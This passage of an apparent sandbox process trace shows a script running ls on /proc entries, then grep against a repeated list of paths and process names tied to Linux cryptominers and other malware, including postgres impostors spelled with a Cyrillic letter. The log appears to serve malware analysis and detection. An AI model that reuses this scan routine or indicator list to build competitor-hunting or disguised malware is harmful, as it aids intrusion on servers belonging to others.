  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:859
- /bin/grep
  grep -q systemd
  2⤵
  PID:861
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:863
- /bin/grep
  grep exe
  2⤵
  PID:866
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:865
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:868
- /bin/grep
  grep -q systemd
  2⤵
  PID:870
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:872
- /bin/grep
  grep exe
  2⤵
  PID:875
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:874
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:877
- /bin/grep
  grep -q systemd
  2⤵
  PID:879
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:881
- /bin/grep
  grep exe
  2⤵
  PID:884
- /bin/ls
  ls -latrh /proc/176
  2⤵
  PID:883
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:886
- /bin/grep
  grep -q systemd
  2⤵
  PID:888
- /bin/grep
  grep -q deleted
  2⤵
  PID:890
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:892
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:894
- /bin/grep
  grep exe
  2⤵
  PID:895
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:897
- /bin/grep
  grep -q systemd
  2⤵
  PID:899
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:901
- /bin/grep
  grep exe
  2⤵
  PID:904
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:903
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:907
- /bin/grep
  grep -q systemd
  2⤵
  PID:910
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:912
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:914
- /bin/grep
  grep exe
  2⤵
  PID:915
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:919
- /bin/grep
  grep -q systemd
  2⤵
  PID:921
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:923
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:927
- /bin/grep
  grep exe
  2⤵
  PID:928
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:930
- /bin/grep
  grep -q systemd
  2⤵
  PID:933
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:936
- /bin/grep
  grep exe
  2⤵
  PID:939
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:938
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:942
- /bin/grep
  grep -q systemd
  2⤵
  PID:945
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:947
- /bin/grep
  grep exe
  2⤵
  PID:951
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:950
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:954
- /bin/grep
  grep -q systemd
  2⤵
  PID:956
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:959
- /bin/grep
  grep exe
  2⤵
  PID:963
- /bin/ls
  ls -latrh /proc/227
  2⤵
  PID:962
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:966
- /bin/grep
  grep -q systemd
  2⤵
  PID:969
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:971
- /bin/grep
  grep exe
  2⤵
  PID:975
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:974
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:978
- /bin/grep
  grep -q systemd
  2⤵
  PID:980
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:983
- /bin/grep
  grep exe
  2⤵
  PID:987
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:986
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:989
- /bin/grep
  grep -q systemd
  2⤵
  PID:992
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:995
- /bin/grep
  grep exe
  2⤵
  PID:998
- /bin/ls
  ls -latrh /proc/242
  2⤵
  PID:997
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1002
- /bin/grep
  grep -q systemd
  2⤵
  PID:1004
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1006
- /bin/grep
  grep exe
  2⤵
  PID:1010
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:1009
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1013
- /bin/grep
  grep -q systemd
  2⤵
  PID:1015
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1018
- /bin/ls
  ls -latrh /proc/331
  2⤵
  PID:1021
- /bin/grep
  grep exe
  2⤵
  PID:1022
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1024
- /bin/grep
  grep -q systemd
  2⤵
  PID:1027
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1030
- /bin/ls
  ls -latrh /proc/332
  2⤵
  PID:1034
- /bin/grep
  grep exe
  2⤵
  PID:1035
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1037
- /bin/grep
  grep -q systemd
  2⤵
  PID:1040
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1043
- /bin/grep
  grep exe
  2⤵
  PID:1048
- /bin/ls
  ls -latrh /proc/334
  2⤵
  PID:1046
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1052
- /bin/grep
  grep -q systemd
  2⤵
  PID:1054
- /bin/grep
  grep -q deleted
  2⤵
  PID:1056
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1059
- /bin/ls
  ls -latrh /proc/336
  2⤵
  PID:1062
- /bin/grep
  grep exe
  2⤵
  PID:1063
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1066
- /bin/grep
  grep -q systemd
  2⤵
  PID:1069
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1072
- /bin/grep
  grep exe
  2⤵
  PID:1075
- /bin/ls
  ls -latrh /proc/36
  2⤵
  PID:1074
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1077
- /bin/grep
  grep -q systemd
  2⤵
  PID:1080
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1082
- /bin/grep
  grep exe
  2⤵
  PID:1085
- /bin/ls
  ls -latrh /proc/367
  2⤵
  PID:1084
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1088
- /bin/grep
  grep -q systemd
  2⤵
  PID:1090
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1092
- /bin/grep
  grep exe
  2⤵
  PID:1095
- /bin/ls
  ls -latrh /proc/37
  2⤵
  PID:1094
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1097
- /bin/grep
  grep -q systemd
  2⤵
  PID:1099
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1101
- /bin/ls
  ls -latrh /proc/381
  2⤵
  PID:1103
- /bin/grep
  grep exe
  2⤵
  PID:1104
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1106
- /bin/grep
  grep -q systemd
  2⤵
  PID:1108
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1110
- /bin/ls
  ls -latrh /proc/382
  2⤵
  PID:1112
- /bin/grep
  grep exe
  2⤵
  PID:1113
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1115
- /bin/grep
